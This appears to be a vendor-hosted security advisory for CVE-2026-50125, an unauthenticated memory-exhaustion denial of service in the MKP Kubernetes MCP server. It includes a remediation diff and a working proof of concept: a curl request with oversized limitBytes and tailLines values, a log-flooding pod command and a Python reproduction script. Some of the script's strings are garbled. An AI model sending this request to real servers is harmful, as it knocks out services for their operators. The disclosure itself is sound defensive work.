Summary
MKP: Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion
Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion
The MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.
Details
The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.
Source, unbounded parameter parsing (pkg/k8s/subresource.go:171–181):
// pkg/k8s/subresource.go
defaultLimitBytes := int64(32 * 1024) // 32 KB, only used when parameters map is nil
...
if limitBytes, ok := parameters["limitBytes"]; ok {
if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
podLogOpts.LimitBytes = &b // no upper-bound check
}
}
if tailLines, ok := parameters["tailLines"]; ok {
if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
podLogOpts.TailLines = &lines // no upper-bound check
}
}
When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94–96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.
Sink, unbounded in-memory copy (pkg/k8s/subresource.go:114–115):
buf := new(bytes.Buffer)
_, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAM
The stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).
Attack path (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | cmd/server/main.go:30 |
Server binds to :8080 on all interfaces; no authentication by default |
| 2 | pkg/mcp/server.go:131 |
NewGetResourceTool() registered unconditionally (no --read-write required) |
| 3 | pkg/mcp/get_resource.go:28–38 |
Attacker-controlled parameters map parsed from CallToolRequest |
| 4 | pkg/mcp/get_resource.go:76 |
client.GetResource(..., parameters) called |
| 5 | pkg/k8s/subresource.go:32–33 |
resource=pods + subresource=logs routes into getPodLogs |
| 6 | pkg/k8s/subresource.go:171–181 |
limitBytes / tailLines parsed without upper bound (source) |
| 7 | pkg/k8s/subresource.go:114–115 |
io.Copy(buf, podLogs) loads full stream into bytes.Buffer (sink) |
The rate limiter (pkg/ratelimit/config.go:16–17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.
Suggested remediation:
+const (
+ maxPodLogTailLines int64 = 1000
+ maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap
+)
+
buf := new(bytes.Buffer)
-_, err = io.Copy(buf, podLogs)
+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}
+_, err = io.Copy(buf, limitedLogs)
+if limitedLogs.N == 0 {
+ return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)
+}
if limitBytes, ok := parameters["limitBytes"]; ok {
if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
+ if b <= 0 || b > maxPodLogLimitBytes {
+ b = maxPodLogLimitBytes
+ }
podLogOpts.LimitBytes = &b
}
}
if tailLines, ok := parameters["tailLines"]; ok {
if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
+ if lines <= 0 || lines > maxPodLogTailLines {
+ lines = maxPodLogTailLines
+ }
podLogOpts.TailLines = &lines
}
}
PoC
Prerequisites
- Docker (for self-contained reproduction)
- A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)
- MKP server accessible on port 8080
Option A, Self-contained Docker reproduction (Phase 2 method)
This method uses a mock Kubernetes API that streams 128 MB of log data:
# 1. Clone the repository and enter it
git clone https://github.com/StacklokLabs/mkp.git
cd mkp
# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)
docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
# 3. Run the exploit container, output includes RSS measurements
docker run --rm mkp-vuln-001
Expected output (condensed):
Initial RSS: 26464 kB ( 25.8 MB)
t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress]
t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress]
t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress]
t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress]
Peak RSS: 1207572 kB (1179.3 MB)
Delta RSS: 1181108 kB (1153.4 MB)
VERDICT: CONFIRMED, RSS grew 1153.4 MB (limitBytes=128 MB)
Option B, Real Kubernetes environment (manual)
# 1. Build and start MKP server (default transport: streamable-http on :8080)
git clone https://github.com/StacklokLabs/mkp.git && cd mkp
task build
./build/mkp-server --kubeconfig=/path/to/kubeconfig
# 2. Create a pod that generates large logs
kubectl -n default run logbomb --image=busybox --restart=Never -- \
sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
# Wait ~30 seconds for logs to accumulate, then:
# 3. Send the exploit request
curl -sS http://127.0.0.1:8080/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_resource",
"arguments": {
"resource_type": "namespaced",
"group": "",
"version": "v1",
"resource": "pods",
"namespace": "default",
"name": "logbomb",
"subresource": "logs",
"parameters": {
"tailLines": "999999999",
"limitBytes": "2147483647"
}
}
}
}'
Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.
Reproduction artifacts
Dockerfile
# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────
FROM golang:1.25 AS builder
# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain
# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.
ENV GOTOOLCHAIN=local
ENV CGO_ENABLED=0
WORKDIR /src
# Copy the source tree (build con = parent of vuln-001/)
COPY repo/ .
RUN go build -o /mkp-server ./cmd/server
# ── Stage 2: Runtime ─────────────────────────────────────────────────────────
FROM python:3.12-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends procps curl && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /mkp-server /usr/local/bin/mkp-server
COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py
COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml
COPY vuln-001/exploit.py /workspace/exploit.py
COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh
RUN chmod +x /workspace/entrypoint.sh
CMD ["/workspace/entrypoint.sh"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Dynamic Reproduction Orchestrator.
Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
Run : docker run --rm mkp-vuln-001
Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single
tools/call request with limitBytes=134217728 (128 MB), proving that
defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.
"""
import json
import os
import re
import subprocess
import sys
from pathlib import Path
WORK_DIR = Path(__file__).parent.resolve()
REPO_ROOT = WORK_DIR.parent
IMAGE = "mkp-vuln-001"
BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."
RUN_CMD = f"docker run --rm {IMAGE}"
# ─────────────────────────────────────────────────────────────────────────────
def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:
"""Run a shell command, stream its output, and return (rc, full_output)."""
proc = subprocess.Popen(
cmd, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, cwd=cwd,
)
lines = []
for line in proc.stdout:
print(line, end='', flush=True)
lines.append(line)
proc.wait()
return proc.returncode, ''.join(lines)
def save_result(result: dict):
path = WORK_DIR / 'phase2_result.json'
with open(path, 'w', encoding='utf-8') as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[poc] Result saved → {path}")
def parse_evidence(output: str) -> dict:
ev: dict = {}
m = re.search(r'Initial RSS\s*:\s*(\d+)', output)
if m:
ev['initial_kb'] = int(m.group(1))
ev['initial_mb'] = ev['initial_kb'] / 1024
m = re.search(r'Peak RSS\s*:\s*(\d+)', output)
if m:
ev['peak_kb'] = int(m.group(1))
ev['peak_mb'] = ev['peak_kb'] / 1024
m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)
if m:
ev['delta_kb'] = int(m.group(1))
ev['delta_mb'] = float(m.group(2))
elif 'peak_kb' in ev and 'initial_kb' in ev:
ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']
ev['delta_mb'] = ev['delta_kb'] / 1024
m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)
if m:
ev['verdict_line'] = m.group(0)
return ev
def extract_evidence_block(output: str) -> str:
"""Return the EVIDENCE SUMMARY block, or the last 3000 chars."""
m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)
if m:
return m.group(0)[:3000]
return output[-3000:]
# ─────────────────────────────────────────────────────────────────────────────
def main():
print("=" * 60)
print("VULN-001: Unbounded Pod Log Read, Dynamic Reproduction")
print("=" * 60)
os.chdir(REPO_ROOT)
# ── Docker build ──────────────────────────────────────────────────────────
print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")
rc, build_output = run_streaming(BUILD_CMD)
if rc != 0:
reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"
save_result({
"passed": False,
"verdict": "FAIL",
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": "python3 vuln-001/poc.py",
"evidence": build_output[-2000:],
"artifacts": ["Dockerfile", "poc.py"],
})
print(f"\n[poc] FAIL: {reason}")
return False
print("\n[poc] Build OK.")
# ── Docker run ────────────────────────────────────────────────────────────
print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")
rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")
print(f"\n[poc] Container exited (code={rc})")
ev = parse_evidence(run_output)
delta_mb = ev.get('delta_mb', 0.0)
print(f"[poc] Parsed evidence: {ev}")
# ── Verdict ───────────────────────────────────────────────────────────────
passed = delta_mb >= 50.0
if passed:
verdict = "PASS"
init_mb = ev.get('initial_mb', 0)
peak_mb = ev.get('peak_mb', 0)
reason = (
f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "
f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "
f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "
f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."
)
else:
verdict = "INCOMPLETE"
reason = (
f"RSS text {delta_mb:.1f} MB, 50 MB criteria text. "
f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "
f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"
)
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": "python3 vuln-001/poc.py",
"evidence": extract_evidence_block(run_output),
"artifacts": ["Dockerfile", "poc.py"],
}
save_result(result)
print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")
return passed
if __name__ == '__main__':
ok = main()
sys.exit(0 if ok else 1)
Impact
This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.
Who is impacted:
- Any operator running
mkp-serverin its default configuration (no--read-writeflag required;get_resourceis registered by default on:8080without authentication). - Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g.,
kube-systemworkloads in production clusters almost always satisfy this condition). - Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.
A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.
No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-50125 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-50125? CVE-2026-50125 is a high-severity uncontrolled resource consumption vulnerability in github.com/StacklokLabs/mkp (go), affecting versions < 0.4.1. It is fixed in 0.4.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-50125? CVE-2026-50125 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/StacklokLabs/mkp are affected by CVE-2026-50125? github.com/StacklokLabs/mkp (go) versions < 0.4.1 is affected.
- Is there a fix for CVE-2026-50125? Yes. CVE-2026-50125 is fixed in 0.4.1. Upgrade to this version or later.
- Is CVE-2026-50125 exploitable, and should I be worried? Whether CVE-2026-50125 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-50125 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-50125? Upgrade
github.com/StacklokLabs/mkpto 0.4.1 or later.